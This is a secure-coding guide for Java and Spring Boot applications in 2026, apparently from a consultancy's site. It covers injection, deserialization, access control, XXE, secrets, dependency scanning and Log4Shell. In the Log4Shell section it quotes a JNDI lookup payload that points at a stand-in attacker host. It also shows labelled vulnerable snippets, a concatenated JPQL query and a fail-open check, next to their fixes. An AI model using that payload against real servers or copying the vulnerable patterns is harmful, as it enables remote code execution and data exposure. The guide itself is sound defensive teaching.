A penetration test report arrives two weeks before a release of a Spring Boot payments service. None of its findings concern memory corruption: a reporting endpoint builds JPQL by string concatenation, an order API returns any customer’s order when the ID in the URL changes, and log4j 1.x is still on the classpath, brought in by a PDF library nobody remembers adding. That is the usual shape of a Java security finding in 2026. The JVM closed off the low-level bug classes years ago, so secure Java code now depends on the application code, its configuration and its dependencies.

What the Java platform secures for you

Java’s security features are often listed as reasons to choose the language. The more useful reading in 2026 is where the platform’s guarantees end, so review effort goes where they do not reach. The diagram puts the two side by side.

Java security as a layered stack. Enforced by the JDK and the JVM, from the bottom: managed memory (bounds-checked arrays, no pointer arithmetic, garbage collection, so no buffer overflows or use-after-free); bytecode verification (the verifier rejects malformed or type-unsafe bytecode before it runs); types and modules (static typing, no pointer casts, JDK internals strongly encapsulated since JDK 17); and the security APIs (JCA/JCE, JSSE with TLS 1.3, the KEM API from JDK 21, ML-KEM and ML-DSA from JDK 24, the KDF API from JDK 25, post-quantum hybrid key exchange in TLS from JDK 27). Above the platform, the application team’s responsibility: its code (injection, access checks, deserialization, error handling), its configuration (secrets, XML parsers, Spring Security, TLS) and its dependencies (scanned, updated, on a supported JDK). Removed: the Security Manager, permanently disabled since JDK 24 by JEP 486.WHAT THE JAVA PLATFORM ENFORCES, AND WHAT IT LEAVES TO YOUYOUR RESPONSIBILITYYour codeinjection, access checks,deserialization, errorsYour configurationsecrets, XML parsers,Spring Security, TLSYour dependenciesscanned and updated,on a supported JDKENFORCED BY THE JDK AND THE JVMSecurity APIsJCA/JCE, JSSE with TLS 1.3, KEM API (JDK 21),ML-KEM and ML-DSA (JDK 24), KDF API (JDK 25),post-quantum hybrid key exchange in TLS (JDK 27)Types and modulesStatic typing, no pointer casts; JDK internalsstrongly encapsulated since JDK 17Bytecode verificationThe verifier rejects malformed or type-unsafebytecode before any of it runsManaged memoryBounds-checked arrays, no pointer arithmetic, GC:no buffer overflows, no use-after-freeREMOVEDThe Security Manager: permanently disabled since JDK 24 (JEP 486)
The Java platform removes whole classes of bugs below the application. The dashed band at the top is the team’s job.

Memory safety, bytecode verification and strong encapsulation

Java code cannot do pointer arithmetic, every array access is bounds-checked, and the garbage collector frees memory only when nothing references it. Buffer overflows, use-after-free and double-free, the classic memory-corruption bugs of C and C++, cannot be written in plain Java. That is the memory safety guarantee, and it holds unless code steps outside it through JNI, the foreign function API or sun.misc.Unsafe.

Before a class runs, the bytecode verifier checks that it is well formed and type-safe: no stack overflows or underflows, no casting an integer into a reference, no jumping into the middle of an instruction. Class loaders keep classes from different sources in separate namespaces, so a class cannot pass itself off as java.lang.String.

Since JDK 17, the JDK’s internal packages are strongly encapsulated: code outside the JDK cannot reach them by reflection unless a launch flag opens them (JEP 403). Java 26 continues the same direction with warnings when deep reflection modifies final fields (JEP 500). Each step removes a way for a compromised library to tamper with the platform.

Security APIs in the JDK, from TLS 1.3 to post-quantum keys

The Java Cryptography Architecture (JCA) and its extension (JCE) provide ciphers, signatures, message digests, MACs, key generation and secure random numbers behind provider-neutral interfaces. JSSE implements TLS, with TLS 1.3 supported since JDK 11 (JEP 332). Recent releases added the pieces a post-quantum migration needs:

  • The Key Encapsulation Mechanism API in JDK 21 (JEP 452).
  • ML-KEM for key encapsulation (JEP 496) and ML-DSA for digital signatures (JEP 497), both in JDK 24: the lattice-based algorithms NIST standardized as FIPS 203 and FIPS 204.
  • The Key Derivation Function API, final in JDK 25 (JEP 510), with HKDF.
  • Post-quantum hybrid key exchange for TLS 1.3 in JDK 27 (JEP 527): X25519MLKEM768 and two other groups that combine ECDHE with ML-KEM, used by javax.net.ssl clients and servers without code changes.
  • PEM encoding and decoding of keys and certificates, in preview since JDK 25 (JEP 470; third preview in JDK 27, JEP 538).

On Java 25, the LTS release, a post-quantum key encapsulation needs no third-party provider:

// JDK 24 or later: ML-KEM through the KEM API from JDK 21
KeyPair receiver = KeyPairGenerator.getInstance("ML-KEM-768").generateKeyPair();

KEM kem = KEM.getInstance("ML-KEM");
KEM.Encapsulated sent = kem.newEncapsulator(receiver.getPublic()).encapsulate();
SecretKey senderKey = sent.key();              // use for AES-GCM
byte[] encapsulation = sent.encapsulation();   // send to the receiver

SecretKey receiverKey = kem.newDecapsulator(receiver.getPrivate()).decapsulate(encapsulation);

The APIs are only as safe as the parameters passed to them. Cipher.getInstance("AES") gives AES in ECB mode on the default provider, which leaks patterns in the plaintext. Name the mode, use a fresh IV per message, and prefer an authenticated mode:

private static final SecureRandom RANDOM = new SecureRandom();

static byte[] encrypt(SecretKey key, byte[] plaintext, byte[] context) throws GeneralSecurityException {
    byte[] iv = new byte[12];
    RANDOM.nextBytes(iv);                       // a fresh IV for every message
    Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
    cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
    cipher.updateAAD(context);                  // e.g. the record id, authenticated but not encrypted
    byte[] sealed = cipher.doFinal(plaintext);
    return ByteBuffer.allocate(iv.length + sealed.length).put(iv).put(sealed).array();
}

The Security Manager is gone, and what replaces it

The Security Manager and its policy files were long the standard advice for access control in Java. Since JDK 24 the Security Manager is permanently disabled: it cannot be enabled at startup or installed at run time (JEP 486). It was designed for applets and was rarely used on servers, where its cost and complexity outweighed what it protected.

The jobs it was meant to do now sit elsewhere. Sandboxing belongs to the operating system and the container: a non-root user, a read-only file system, dropped capabilities and network policies that limit what a compromised process can reach. Authorization belongs in the application, enforced by Spring Security or Jakarta Security on every request, as the sections below show.

Where Java applications get breached: the OWASP Top 10:2025 mapped to Java

OWASP published the Top 10:2025 as the successor to the 2021 list. Broken access control stays first. Two changes matter for Java teams: vulnerable components grew into Software Supply Chain Failures at A03, covering the build pipeline and artifact integrity as well as outdated libraries, and a new A10 covers mishandled exceptions, including code that fails open. The table maps each category to the way it typically appears in Java code.

OWASP Top 10:2025How it shows up in Java codeFirst defence
A01 Broken Access ControlAn endpoint checks the role but not whose record it returns; method security never enabledOwnership in the query, @PreAuthorize
A02 Security MisconfigurationActuator endpoints exposed, XML parsers with DTDs on, secrets in application.ymlDeny by default, hardened parser factories
A03 Software Supply Chain FailuresA vulnerable or abandoned library several levels down the tree; an unpatched JDKSBOM, SCA in CI, automated updates
A04 Cryptographic FailuresCipher.getInstance("AES") (ECB), SHA-256 password hashes, a trust-all TrustManagerAES-GCM, PasswordEncoder, default JSSE
A05 InjectionConcatenated SQL, JPQL or HQL; Runtime.exec with user input; th:utextBound parameters, validation, encoding
A06 Insecure DesignNo rate limit on login or password reset; trust in values the client computedThreat modelling, limits in the design
A07 Authentication FailuresHand-written login and session code, no second factor for adminsSpring Security, MFA in 7.0
A08 Software or Data Integrity FailuresObjectInputStream on network input, Jackson default typing, unsigned artifactsJSON into records, filters, signatures
A09 Security Logging and Alerting FailuresTokens in logs, no record of failed logins or denied requestsAuthorization events, masked fields
A10 Mishandling of Exceptional ConditionsA catch block that lets the request through; stack traces in responsesFail closed, generic error bodies

The breach data points the same way. Verizon’s 2026 Data Breach Investigations Report found that 31% of breaches started with the exploitation of a software vulnerability, ahead of stolen credentials as the most common way in. The global average cost of a breach reached $4.99 million, 12% more than a year earlier, according to IBM’s Cost of a Data Breach Report 2026, research by the Ponemon Institute for a company that sells security products.

Preventing injection: parameterized queries, input validation and output encoding

Injection happens when input crosses into a language the application then interprets: SQL, JPQL, LDAP filters, shell commands, HTML, Spring expressions. The fix is the same in every case: keep data and code in separate channels.

SQL and JPQL: bind every value

JPA does not make string-built queries safe. JPQL and HQL are parsed like SQL, so concatenated input injects just as well. Bind every value as a parameter; Spring Data derived queries and @Query with named parameters do this for you.

// Vulnerable: the input becomes part of the query text
String jpql = "select o from Order o where o.status = '" + status + "'";

// Safe: the value is bound and never parsed as JPQL
List<Order> orders = em.createQuery(
                "select o from Order o where o.status = :status", Order.class)
        .setParameter("status", status)
        .getResultList();

// Same rule with Spring's JdbcClient
List<Order> recent = jdbc.sql("select * from orders where customer_id = :id and created_at > :since")
        .param("id", customerId)
        .param("since", since)
        .query(Order.class)
        .list();

Column names and sort directions cannot be bound. Map them from an enum instead of passing the request value through:

enum SortField { CREATED, TOTAL }

static String orderBy(SortField field) {
    return switch (field) {
        case CREATED -> "o.createdAt";
        case TOTAL -> "o.total";
    };
}

The same rule covers ProcessBuilder: pass arguments as a list, never as one shell string, and never let input pick the executable.

Validating input with Jakarta Bean Validation

Validation rejects input that cannot be right before it reaches business logic: wrong format, wrong range, wrong length. With spring-boot-starter-validation, constraints on a record and @Valid on the controller parameter turn bad requests into 400 responses before the method body runs.

public record TransferRequest(
        @NotBlank @Pattern(regexp = "[A-Z]{2}[0-9]{2}[A-Z0-9]{11,30}") String iban,
        @NotNull @Positive @Digits(integer = 9, fraction = 2) BigDecimal amount,
        @Size(max = 140) String reference) {}

@PostMapping("/transfers")
ResponseEntity<Void> create(@Valid @RequestBody TransferRequest request) {
    transfers.submit(request);
    return ResponseEntity.accepted().build();
}

Validate against an allowlist of what is valid rather than a blocklist of what looks dangerous. Validation narrows the input; it does not replace parameter binding or output encoding, because a perfectly valid surname can still contain an apostrophe.

Encoding output for the context it lands in

Cross-site scripting is injection into HTML. Server-side templates handle most of it: Thymeleaf escapes th:text by default, and a th:utext in a code review deserves a question. Where Java code builds markup or JavaScript directly, encode for the exact context with the OWASP Java Encoder.

// Thymeleaf escapes th:text; th:utext writes raw HTML and needs a reason in review
// <p th:text="${comment.body}">...</p>

// Building markup in Java: encode for the exact context (OWASP Java Encoder)
String cell = "<td title=\"" + Encode.forHtmlAttribute(name) + "\">" + Encode.forHtml(name) + "</td>";

A Content Security Policy is the second layer. Spring Security sets one with headers(h -> h.contentSecurityPolicy(...)); running it in report-only mode first shows which inline scripts would break.

Safe deserialization in Java: avoid native serialization, filter what remains

Java’s native serialization reconstructs objects from a byte stream and runs code while it does so. When the stream comes from an attacker, a chain of ordinary classes on the classpath (a gadget chain) can be enough for remote code execution, without any bug in your own code. The rule is short: never deserialize untrusted data with ObjectInputStream. Exchange JSON or Protobuf and map it onto records, whose canonical constructor runs on every deserialization.

Polymorphic JSON brings the same risk back if Jackson is allowed to pick the class from the payload. Leave default typing off and name the permitted subtypes. A sealed interface makes the list explicit in the type system as well:

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes({
        @JsonSubTypes.Type(value = CardPayment.class, name = "card"),
        @JsonSubTypes.Type(value = BankTransfer.class, name = "transfer")
})
sealed interface Payment permits CardPayment, BankTransfer {}

record CardPayment(String token, BigDecimal amount) implements Payment {}
record BankTransfer(String iban, BigDecimal amount) implements Payment {}

Where native serialization cannot be removed yet (old RMI, a cache, a session store), filter it. JDK 9 added serialization filters (JEP 290, backported to Java 8), and JDK 17 added context-specific filter factories (JEP 415). An allowlist with size and depth limits rejects everything else:

// JVM-wide default, as a launch flag:
// -Djdk.serialFilter=maxbytes=65536;maxdepth=10;com.example.events.*;java.base/*;!*

static OrderEvent read(InputStream input) throws IOException, ClassNotFoundException {
    var filter = ObjectInputFilter.Config.createFilter(
            "maxbytes=65536;maxdepth=10;com.example.events.*;java.base/*;!*");
    try (var in = new ObjectInputStream(input)) {
        in.setObjectInputFilter(filter);
        return (OrderEvent) in.readObject();
    }
}

Authentication and authorization with Spring Security 7

Hand-written authentication is where many A07 findings come from. Spring Boot 4 ships Spring Security 7, and most Java web applications should start from its defaults and change them deliberately.

What Spring Boot 4 and Spring Security 7 give you by default

Once Spring Security is on the classpath, Spring Boot requires authentication for every endpoint. Servlet applications get CSRF protection for state-changing requests, session fixation protection, and security headers including X-Content-Type-Options, X-Frame-Options, cache control and HSTS over HTTPS. Spring Security 7.0 removed several older paths: authorizeRequests, the and() chaining style, AntPathRequestMatcher and the OAuth 2.0 password grant are gone. It added multi-factor authentication support, Password4j-based encoders and PKCE by default in the authorization server, which is now part of Spring Security. The Spring Boot 4 migration guide covers the upgrade itself.

A filter chain that denies by default fails safely when someone adds an endpoint and forgets to write a rule for it:

@Bean
SecurityFilterChain api(HttpSecurity http) throws Exception {
    http
        .authorizeHttpRequests(auth -> auth
            .requestMatchers("/actuator/health").permitAll()
            .requestMatchers("/admin/**").hasRole("ADMIN")
            .requestMatchers("/api/**").authenticated()
            .anyRequest().denyAll())
        .oauth2ResourceServer(rs -> rs.jwt(Customizer.withDefaults()));
    return http.build();
}

Hashing passwords with PasswordEncoder

Passwords are stored with a slow, salted, adaptive hash, never with SHA-256 or any other fast digest. The OWASP Password Storage Cheat Sheet recommends Argon2id first and bcrypt for legacy systems. DelegatingPasswordEncoder prefixes each hash with its algorithm, so the algorithm can change without a mass reset:

@Bean
PasswordEncoder passwordEncoder() {
    Map<String, PasswordEncoder> encoders = Map.of(
            "argon2", Argon2PasswordEncoder.defaultsForSpringSecurity_v5_8(),
            "bcrypt", new BCryptPasswordEncoder());
    // New hashes use Argon2; stored {bcrypt} hashes still verify
    return new DelegatingPasswordEncoder("argon2", encoders);
}

Spring Security’s Argon2 encoder needs Bouncy Castle on the classpath; the 7.0 Password4j encoders are an alternative. With a UserDetailsPasswordService bean, old hashes are re-encoded with the new algorithm at each user’s next login.

Checking ownership on every object

A URL rule says who may call /api/orders/{id}. It says nothing about which orders that caller may see. Insecure direct object references, the most common form of broken access control, live in that gap. Put the owner into the query, so a foreign ID returns nothing, and answer 404 rather than 403 so the response does not confirm the record exists. This is object-level authorization, and no framework default does it for you.

interface OrderRepository extends JpaRepository<Order, Long> {
    Optional<Order> findByIdAndCustomerId(Long id, String customerId);
}

@GetMapping("/api/orders/{id}")
OrderView order(@PathVariable long id, @AuthenticationPrincipal Jwt jwt) {
    return orders.findByIdAndCustomerId(id, jwt.getSubject())
            .map(OrderView::from)
            .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
}

For rules that do not fit a query, @EnableMethodSecurity with @PreAuthorize and @PostAuthorize keeps them next to the service method. Test them the same way as business logic, with a second user who must be refused.

Failing closed when an exception is thrown

OWASP’s new A10 category is about code like the first block below: a limit or permission check that throws, a catch that logs it, and a default that lets the request through.

// Fails open: an error in the check lets the request through
boolean withinLimitFailOpen(Account account, BigDecimal amount) {
    try {
        return limits.check(account, amount);
    } catch (LimitServiceException e) {
        log.warn("limit check failed", e);
        return true;
    }
}

// Fails closed: no answer means no
boolean withinLimit(Account account, BigDecimal amount) {
    try {
        return limits.check(account, amount);
    } catch (LimitServiceException e) {
        log.warn("limit check failed for account {}", account.id(), e);
        return false;
    }
}

Error responses should carry a correlation ID, not a stack trace. Spring Boot’s server.error.include-stacktrace defaults to never; keep it that way outside local development.

Parsing XML without XXE

XML external entities let a document ask the parser to read a local file or call an internal URL and insert the result. The JDK’s parsers process DTDs by default, so every factory that reads uploaded or partner-supplied XML needs to be configured, and the configuration has to be repeated for each factory type. The OWASP XXE Prevention Cheat Sheet lists the settings per parser; for DOM and StAX:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
Document doc = dbf.newDocumentBuilder().parse(upload);

// StAX
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

Disallowing DOCTYPE outright is the strongest setting, and few integrations need a DTD. Check libraries that parse XML on your behalf too: SOAP stacks, SAML, and office document readers.

Keeping secrets and keys out of the code

Database passwords, API keys and signing keys belong in a secret manager (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Google Secret Manager), injected at run time. Spring Cloud Vault and Spring Cloud AWS read them directly; on Kubernetes, spring.config.import=configtree:/run/secrets/ maps mounted secret files to properties. A secret scanner such as gitleaks in the pipeline, or push protection on the repository host, catches the key someone commits by accident.

Diagnostics are another leak path: a password passed as a -D flag shows up in JFR recordings on older JDKs. JDK 27 redacts command-line arguments, environment variables and system properties in recordings before they leave the process (JEP 536).

Secrets also leak through logs. A record’s generated toString() prints every component, so a record that holds a credential needs its own:

public record DbCredentials(String user, String password) {
    @Override
    public String toString() {
        return "DbCredentials[user=" + user + ", password=***]";
    }
}

Dependency and supply-chain security: lessons from Log4Shell

A typical Spring Boot service ships a few thousand lines of its own code on top of a dependency tree many times larger. Black Duck’s 2026 OSSRA report, drawn from 947 commercial codebases it audited and published by a company that sells software composition analysis, found an average of 581 vulnerabilities per codebase, with high-risk vulnerabilities in 78% of codebases and critical-risk ones in 44%. In financial services and fintech, 92% of codebases contained a high- or critical-risk vulnerability.

Log4Shell, the reference case

In December 2021, CVE-2021-44228 showed what one library can do. Log4j 2 resolved lookups inside logged messages, so a string such as ${jndi:ldap://attacker.example/a} in a User-Agent header made the server fetch and run remote code. The score was 10.0, and the library sat in most Java systems, usually as a transitive dependency. Apache needed four releases in a month to close the issue and its follow-ups, ending at 2.17.1 (Apache Log4j security page).

The lessons still apply:

  • Teams that could answer “where do we run Log4j 2, and which version?” in minutes had a dependency inventory. Everyone else spent the first days searching.
  • Teams with a build and test pipeline they trusted shipped each fix the day it came out. The others patched once and hoped.
  • A current JDK limited the damage: JDK 8u191 and later had stopped trusting remote codebases in LDAP lookups by default, which blocked the simplest form of the attack but not all of it.

The library that is no longer maintained is the other half of the story. Log4j 1.x reached end of life in 2015, yet it still turns up in 2026 scans, as it did in the opening example.

SBOM, scanning and automated updates

Start with a software bill of materials. A CycloneDX SBOM generated on every build records every resolved component and version. Since Spring Boot 3.3, the starter parent manages the CycloneDX Maven plugin and Actuator serves the result at /actuator/sbom, so the running service can say what it contains:

<!-- pom.xml, with spring-boot-starter-parent managing version and execution -->
<plugin>
    <groupId>org.cyclonedx</groupId>
    <artifactId>cyclonedx-maven-plugin</artifactId>
</plugin>

OWASP Dependency-Track ingests SBOMs from every service and re-checks them as new advisories appear, which answers the Log4Shell question across a portfolio. OWASP Dependency-Check, or the scanning built into GitHub, GitLab and commercial SCA tools, fails the build on a known vulnerability above an agreed severity. Dependabot or Renovate then open pull requests for patch and minor updates, and a merge policy for green builds keeps them from piling up.

A scanner total is where triage starts. A finding in a test-scoped dependency, or in a class the application never loads, carries different risk from one on the request path. On a fifteen-year-old Java store and back office for a wine merchant, the scan found 12 critical and 35 high-severity advisories, including log4j 1.x and old file upload libraries. We upgraded the platform in tested steps to Spring 6.2 and Java 25 and, for an embedded workflow engine too deeply built in to replace in one phase, repackaged it without the one vulnerable class the application never called. The re-scan found none.

Case study: an independent wine merchant’s fifteen-year-old online store and back-office ERP, whose dependency scan found 12 critical and 35 high-severity advisories including log4j 1.x, moved to Spring 6.2 and Java 25 in tested steps with no rewrite. An OSV re-scan found no critical or high advisories; the core upgrade took about four weeks.CASE STUDY: DEPENDENCY REMEDIATIONWine merchant: 47 advisories to 0A fifteen-year-old store and back office, withlog4j 1.x in the tree, moved to Java 25 andSpring 6.2 in tested steps, with no rewrite.12 to 0critical advisories35 to 0high advisories4 weekscore upgradeOSV scan47 critical + highTested upgradesSpring 6.2, Java 25Re-scan0 critical or highRead the case study

When a findings list is longer than the team can schedule, our Java vulnerability remediation work starts from that kind of baseline: an SBOM, applicability notes and an upgrade order.

Signed artifacts and verified builds

The supply chain also includes what you download and what you publish. Maven Central requires a PGP signature on every artifact and ties each group ID to a verified namespace. Gradle can check the checksum and signature of every dependency against gradle/verification-metadata.xml, which stops a tampered artifact in a mirror. For your own images and JARs, Sigstore signing and SLSA provenance from the CI system let the deployment platform refuse anything the pipeline did not build. Route all downloads through one repository manager, so there is a single place to block a bad component.

Staying on a supported JDK and patching every quarter

The JDK is a dependency like any other, and it gets security fixes on a fixed calendar. Oracle publishes Critical Patch Updates on the third Tuesday of January, April, July and October, and OpenJDK builds from other vendors follow the same day; the next dates are 20 October 2026 and 19 January 2027. A team that rolls the quarterly Critical Patch Update into its base images within a week or two has a routine. A team that skips quarters ends up doing it under pressure when a severe CVE appears.

The patches exist only while the release line is supported. Java 25 is the current LTS. JDK 26 (March 2026) and JDK 27 (15 September 2026, the latest feature release) are non-LTS releases, each updated only until the next feature release six months later. The Java end of life dates page lists when each LTS loses free and paid support, and what Oracle’s October 2026 licence change means for JDK 21. Frameworks run out first: every Spring Boot 3.x line left open-source support on 30 June 2026.

Security testing in CI: SAST, SCA and DAST

Manual review catches design flaws; tools catch the repeatable mistakes on every commit. A useful Java pipeline has three kinds of check:

  • Static analysis (SAST) on each pull request: Semgrep or CodeQL with their Java rule sets, or SpotBugs with the Find Security Bugs plugin, tuned until developers trust the findings.
  • Software composition analysis (SCA) and secret scanning on each build, as above.
  • Dynamic testing (DAST) against a deployed test environment: a ZAP baseline scan on every deployment, and a full scan on a schedule.

Security tests belong in the ordinary test suite as well: an integration test that calls another customer’s order and expects 404, a test that posts an XML document with a DOCTYPE and expects a rejection. The guide to types of software testing places these among the rest.

Reviewing AI-generated Java code

In the 2025 Stack Overflow Developer Survey, 84% of respondents used or planned to use AI tools in development, and 46% said they distrust the accuracy of the output, against 33% who trust it. Generated code reproduces the patterns it was trained on, including concatenated queries, disabled certificate checks and Jackson default typing, and it does so with confident formatting that makes review easier to skip.

Dependencies are the newer risk. Researchers who generated 576,000 code samples with 16 language models found that hallucinated packages, names that do not exist, averaged at least 5.2% of package references from commercial models and 21.7% from open-source ones (Spracklen et al., USENIX Security 2025). The study covered Python and JavaScript. Maven Central’s namespace verification makes squatting a hallucinated coordinate harder than on npm or PyPI, but a plausible group ID on an internal proxy, or a real but abandoned library the model remembers, gets through the same way.

The controls are the ones above, applied without exceptions for generated code: a reviewer who reads every line, SAST and SCA on the pull request, and a rule that any new dependency is checked for existence, history and maintainers before it is merged. The overview of AI coding tools compares the assistants themselves, and our Java best practices set out the coding standards to hold generated code to.

Secure Java code checklist for 2026

The practices in this guide, with the tool or API for each and the OWASP category it addresses, for a code review template or a pipeline audit:

Secure Java code checklist for 2026, with the tool or API for each practice and the OWASP Top 10:2025 category it addresses. Writing the code: bind every value in sql and jpql (JPA named parameters, JdbcClient, OWASP A05); validate input at the boundary (Jakarta Bean Validation, records, OWASP A05); encode output for where it lands (Thymeleaf th:text, OWASP Encoder, OWASP A05); keep native deserialization off input (JSON records, ObjectInputFilter, OWASP A08); check ownership on every object (Scoped queries, @PreAuthorize, OWASP A01); disable dtds in every xml parser (disallow-doctype-decl feature, OWASP A02); fail closed when an exception hits (Deny on error, no stack traces, OWASP A10). Configuring the application: hash passwords with argon2 or bcrypt (DelegatingPasswordEncoder, OWASP A04); keep secrets out of the repository (Vault or a cloud secret manager, OWASP A02); keep spring security defaults on (CSRF, headers, deny by default, OWASP A02 and A07). Building and running: generate an sbom and scan every build (CycloneDX, Dependency-Track, OWASP A03); let bots open dependency updates (Dependabot or Renovate, OWASP A03); verify what you pull and what you ship (Gradle verification, Sigstore, OWASP A08); run sast and dast in the pipeline (Semgrep or CodeQL, ZAP, OWASP all categories); patch the jdk every quarter (Supported LTS, CPU dates, OWASP A03); review ai-generated code and packages (Code review, SCA on new packages, OWASP A03).SECURE JAVA CODE CHECKLIST, 2026PracticeTool or APIOWASP 2025WRITING THE CODEBind every value in SQL and JPQLJPA named parameters, JdbcClientA05Validate input at the boundaryJakarta Bean Validation, recordsA05Encode output for where it landsThymeleaf th:text, OWASP EncoderA05Keep native deserialization off inputJSON records, ObjectInputFilterA08Check ownership on every objectScoped queries, @PreAuthorizeA01Disable DTDs in every XML parserdisallow-doctype-decl featureA02Fail closed when an exception hitsDeny on error, no stack tracesA10CONFIGURING THE APPLICATIONHash passwords with Argon2 or bcryptDelegatingPasswordEncoderA04Keep secrets out of the repositoryVault or a cloud secret managerA02Keep Spring Security defaults onCSRF, headers, deny by defaultA02 A07BUILDING AND RUNNINGGenerate an SBOM and scan every buildCycloneDX, Dependency-TrackA03Let bots open dependency updatesDependabot or RenovateA03Verify what you pull and what you shipGradle verification, SigstoreA08Run SAST and DAST in the pipelineSemgrep or CodeQL, ZAPAllPatch the JDK every quarterSupported LTS, CPU datesA03Review AI-generated code and packagesCode review, SCA on new packagesA03
Categories from the OWASP Top 10:2025.

Most items on the list are a one-time change to a pull request template or a pipeline. The last few are a schedule: quarterly JDK patches, weekly dependency updates and a framework upgrade before its support ends. That recurring part is what we take on under managed Java application support: the same engineers keep the dependency tree and the JDK current every quarter, with the tests that make each upgrade safe to release.